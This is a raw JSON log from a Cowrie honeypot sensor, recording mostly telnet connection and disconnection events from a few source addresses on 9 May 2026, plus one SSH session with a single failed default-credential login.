{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48378,"dst_ip":"159.203.135.109","dst_port":23,"session":"df75298b81e8","protocol":"telnet","message":"New connection: 50.6.18.72:48378 (159.203.135.109:23) [session: df75298b81e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:19.083658Z"}
{"eventid":"cowrie.session.closed","duration":36.02185654640198,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:20.581868Z","src_ip":"50.6.18.72","session":"3ee6096e9836","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3021457195282,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:20.807894Z","src_ip":"50.6.18.72","session":"3d1a9b7d0fb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.07628798484802,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:20.902683Z","src_ip":"50.6.18.72","session":"32047b0c5ae0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":54106,"dst_ip":"159.203.135.109","dst_port":23,"session":"99c43b432b07","protocol":"telnet","message":"New connection: 147.182.143.59:54106 (159.203.135.109:23) [session: 99c43b432b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:21.457522Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48382,"dst_ip":"159.203.135.109","dst_port":23,"session":"99f4d7e41f56","protocol":"telnet","message":"New connection: 50.6.18.72:48382 (159.203.135.109:23) [session: 99f4d7e41f56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:21.927635Z"}
{"eventid":"cowrie.session.closed","duration":40.46607995033264,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:22.312665Z","src_ip":"45.58.127.90","session":"eb2611f95eb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48402,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b79bcc9b07f","protocol":"telnet","message":"New connection: 50.6.18.72:48402 (159.203.135.109:23) [session: 6b79bcc9b07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:22.485040Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48416,"dst_ip":"159.203.135.109","dst_port":23,"session":"696ec53fcc6f","protocol":"telnet","message":"New connection: 50.6.18.72:48416 (159.203.135.109:23) [session: 696ec53fcc6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:22.609043Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48398,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c51d31186e5","protocol":"telnet","message":"New connection: 50.6.18.72:48398 (159.203.135.109:23) [session: 0c51d31186e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:23.106225Z"}
{"eventid":"cowrie.session.closed","duration":31.092710971832275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:23.604386Z","src_ip":"69.162.99.242","session":"653ab1a888e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48432,"dst_ip":"159.203.135.109","dst_port":23,"session":"c80763e9dc19","protocol":"telnet","message":"New connection: 50.6.18.72:48432 (159.203.135.109:23) [session: c80763e9dc19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:23.946966Z"}
{"eventid":"cowrie.session.closed","duration":31.129657983779907,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:23.992947Z","src_ip":"50.6.18.72","session":"2639d2647536","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48440,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fa154fd9c96","protocol":"telnet","message":"New connection: 50.6.18.72:48440 (159.203.135.109:23) [session: 3fa154fd9c96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:24.415499Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48454,"dst_ip":"159.203.135.109","dst_port":23,"session":"83972f13ecd0","protocol":"telnet","message":"New connection: 50.6.18.72:48454 (159.203.135.109:23) [session: 83972f13ecd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:24.844755Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48460,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bf27a4895e3","protocol":"telnet","message":"New connection: 50.6.18.72:48460 (159.203.135.109:23) [session: 2bf27a4895e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:25.142311Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56762,"dst_ip":"159.203.135.109","dst_port":23,"session":"2662be95ac66","protocol":"telnet","message":"New connection: 50.6.18.72:56762 (159.203.135.109:23) [session: 2662be95ac66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:25.699501Z"}
{"eventid":"cowrie.session.closed","duration":31.110358715057373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:25.832024Z","src_ip":"50.6.18.72","session":"aa64500dfa3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.258626222610474,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:26.217884Z","src_ip":"50.6.18.72","session":"858ad0574b36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48466,"dst_ip":"159.203.135.109","dst_port":23,"session":"8581da5ac266","protocol":"telnet","message":"New connection: 50.6.18.72:48466 (159.203.135.109:23) [session: 8581da5ac266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:26.244116Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":48480,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b24aa6d02a7","protocol":"telnet","message":"New connection: 50.6.18.72:48480 (159.203.135.109:23) [session: 9b24aa6d02a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:26.285946Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56768,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9b43c98e6e8","protocol":"telnet","message":"New connection: 50.6.18.72:56768 (159.203.135.109:23) [session: e9b43c98e6e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:26.322067Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56774,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a2d2f41937e","protocol":"telnet","message":"New connection: 50.6.18.72:56774 (159.203.135.109:23) [session: 9a2d2f41937e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:26.541381Z"}
{"eventid":"cowrie.session.closed","duration":30.113653659820557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:26.568941Z","src_ip":"50.6.18.72","session":"0202540773ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56784,"dst_ip":"159.203.135.109","dst_port":23,"session":"db3678caa457","protocol":"telnet","message":"New connection: 50.6.18.72:56784 (159.203.135.109:23) [session: db3678caa457]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:27.269179Z"}
{"eventid":"cowrie.session.closed","duration":31.118821144104004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:27.856921Z","src_ip":"50.6.18.72","session":"d9ae8ca7750f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56800,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c48c0c67fa8","protocol":"telnet","message":"New connection: 50.6.18.72:56800 (159.203.135.109:23) [session: 2c48c0c67fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:27.915372Z"}
{"eventid":"cowrie.session.closed","duration":31.12072515487671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:28.434933Z","src_ip":"50.6.18.72","session":"131f6bd8c048","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.429736375808716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:28.910043Z","src_ip":"50.6.18.72","session":"a33e0e7fe53e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58205008506775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:28.953514Z","src_ip":"50.6.18.72","session":"0538a22bfccf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56808,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5b1ee77d179","protocol":"telnet","message":"New connection: 50.6.18.72:56808 (159.203.135.109:23) [session: c5b1ee77d179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:28.996965Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56738,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8274fa108b7","protocol":"telnet","message":"New connection: 45.58.127.90:56738 (10.17.0.5:23) [session: b8274fa108b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:29.436688Z"}
{"eventid":"cowrie.session.closed","duration":30.36816430091858,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:29.539920Z","src_ip":"50.6.18.72","session":"e6b90922c1a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56818,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a9a9b993c75","protocol":"telnet","message":"New connection: 50.6.18.72:56818 (159.203.135.109:23) [session: 1a9a9b993c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:29.802913Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56834,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb46bbe6af9e","protocol":"telnet","message":"New connection: 50.6.18.72:56834 (159.203.135.109:23) [session: cb46bbe6af9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:29.820724Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56842,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5571b0a9fe3","protocol":"telnet","message":"New connection: 50.6.18.72:56842 (159.203.135.109:23) [session: a5571b0a9fe3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:29.909019Z"}
{"eventid":"cowrie.session.closed","duration":31.363512992858887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:30.021889Z","src_ip":"50.6.18.72","session":"56f7918cfbed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.229908227920532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:30.594973Z","src_ip":"50.6.18.72","session":"14884af443fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.215338945388794,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:30.665918Z","src_ip":"50.6.18.72","session":"33c2723631c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.415156841278076,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:30.872530Z","src_ip":"147.182.143.59","session":"99c43b432b07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56846,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a1132c99260","protocol":"telnet","message":"New connection: 50.6.18.72:56846 (159.203.135.109:23) [session: 4a1132c99260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:31.234560Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41678,"dst_ip":"159.203.135.109","dst_port":23,"session":"03c42e62c839","protocol":"telnet","message":"New connection: 147.182.143.59:41678 (159.203.135.109:23) [session: 03c42e62c839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:31.411315Z"}
{"eventid":"cowrie.session.closed","duration":30.363426446914673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:31.639635Z","src_ip":"50.6.18.72","session":"6b03e1cc4254","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.189505100250244,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:31.652783Z","src_ip":"50.6.18.72","session":"b68d41df31bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56852,"dst_ip":"159.203.135.109","dst_port":23,"session":"56cc18d70c7f","protocol":"telnet","message":"New connection: 50.6.18.72:56852 (159.203.135.109:23) [session: 56cc18d70c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:31.834164Z"}
{"eventid":"cowrie.session.closed","duration":30.5700101852417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:31.926738Z","src_ip":"50.6.18.72","session":"128090d5f34e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56858,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ce2bd874047","protocol":"telnet","message":"New connection: 50.6.18.72:56858 (159.203.135.109:23) [session: 7ce2bd874047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:32.300085Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56744,"dst_ip":"10.17.0.5","dst_port":23,"session":"96a187ee2f00","protocol":"telnet","message":"New connection: 45.58.127.90:56744 (10.17.0.5:23) [session: 96a187ee2f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:32.436881Z"}
{"eventid":"cowrie.session.closed","duration":31.171665906906128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:32.866525Z","src_ip":"50.6.18.72","session":"32cd5e000897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41674,"dst_ip":"159.203.135.109","dst_port":23,"session":"48b24f9879e2","protocol":"telnet","message":"New connection: 147.182.143.59:41674 (159.203.135.109:23) [session: 48b24f9879e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:33.553167Z"}
{"eventid":"cowrie.session.closed","duration":31.021920204162598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:33.569275Z","src_ip":"50.6.18.72","session":"69990140e8d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56864,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce60dfd7604b","protocol":"telnet","message":"New connection: 50.6.18.72:56864 (159.203.135.109:23) [session: ce60dfd7604b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:33.832043Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":50660,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe857e2d2e5d","protocol":"ssh","message":"New connection: 154.198.162.75:50660 (10.17.0.5:22) [session: fe857e2d2e5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:34.346376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:34.352025Z","src_ip":"154.198.162.75","session":"fe857e2d2e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56880,"dst_ip":"159.203.135.109","dst_port":23,"session":"9cff3f4ce64a","protocol":"telnet","message":"New connection: 50.6.18.72:56880 (159.203.135.109:23) [session: 9cff3f4ce64a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:34.562053Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:34.566049Z","src_ip":"154.198.162.75","session":"fe857e2d2e5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":56892,"dst_ip":"159.203.135.109","dst_port":23,"session":"66e379ebbe4a","protocol":"telnet","message":"New connection: 50.6.18.72:56892 (159.203.135.109:23) [session: 66e379ebbe4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:34.600937Z"}
{"eventid":"cowrie.session.closed","duration":30.504810333251953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:34.727921Z","src_ip":"50.6.18.72","session":"8f7ddf1ed4b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.154805421829224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:35.134346Z","src_ip":"50.6.18.72","session":"9d20857de6f6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"letmein","message":"login attempt [ftpuser/letmein] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:35.489450Z","src_ip":"154.198.162.75","session":"fe857e2d2e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.744000673294067,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:35.847140Z","src_ip":"50.6.18.72","session":"2e7d91eecb11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54876,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e94d032ae84","protocol":"telnet","message":"New connection: 50.6.18.72:54876 (159.203.135.109:23) [session: 6e94d032ae84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:35.965549Z"}
{"eventid":"cowrie.session.closed","duration":31.11191964149475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:36.063309Z","src_ip":"50.6.18.72","session":"c0a155bb768b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54884,"dst_ip":"159.203.135.109","dst_port":23,"session":"60df2b2ede9b","protocol":"telnet","message":"New connection: 50.6.18.72:54884 (159.203.135.109:23) [session: 60df2b2ede9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:36.543564Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:36.702515Z","src_ip":"154.198.162.75","session":"fe857e2d2e5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.705084800720215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:37.174310Z","src_ip":"50.6.18.72","session":"f95d9e3a76c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11817502975464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:37.232567Z","src_ip":"50.6.18.72","session":"9b1f772c1c1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54900,"dst_ip":"159.203.135.109","dst_port":23,"session":"42431ddb699e","protocol":"telnet","message":"New connection: 50.6.18.72:54900 (159.203.135.109:23) [session: 42431ddb699e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:37.498410Z"}
{"eventid":"cowrie.session.closed","duration":30.293057441711426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:37.575454Z","src_ip":"50.6.18.72","session":"48fd9a161605","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.280731201171875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:37.658286Z","src_ip":"50.6.18.72","session":"33849a6f3a5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54916,"dst_ip":"159.203.135.109","dst_port":23,"session":"813f055eef2c","protocol":"telnet","message":"New connection: 50.6.18.72:54916 (159.203.135.109:23) [session: 813f055eef2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:37.663630Z"}
{"eventid":"cowrie.session.closed","duration":31.312029600143433,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:37.829657Z","src_ip":"50.6.18.72","session":"21028e9b622d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54930,"dst_ip":"159.203.135.109","dst_port":23,"session":"b685f7f70d3f","protocol":"telnet","message":"New connection: 50.6.18.72:54930 (159.203.135.109:23) [session: b685f7f70d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:38.648664Z"}
{"eventid":"cowrie.session.closed","duration":30.94831943511963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:39.202691Z","src_ip":"50.6.18.72","session":"90c3c7b974ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11191177368164,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:39.509254Z","src_ip":"50.6.18.72","session":"ec781de1c9b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":36068,"dst_ip":"159.203.135.109","dst_port":23,"session":"62ac4721f660","protocol":"telnet","message":"New connection: 147.182.143.59:36068 (159.203.135.109:23) [session: 62ac4721f660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:29:39.527148Z"}
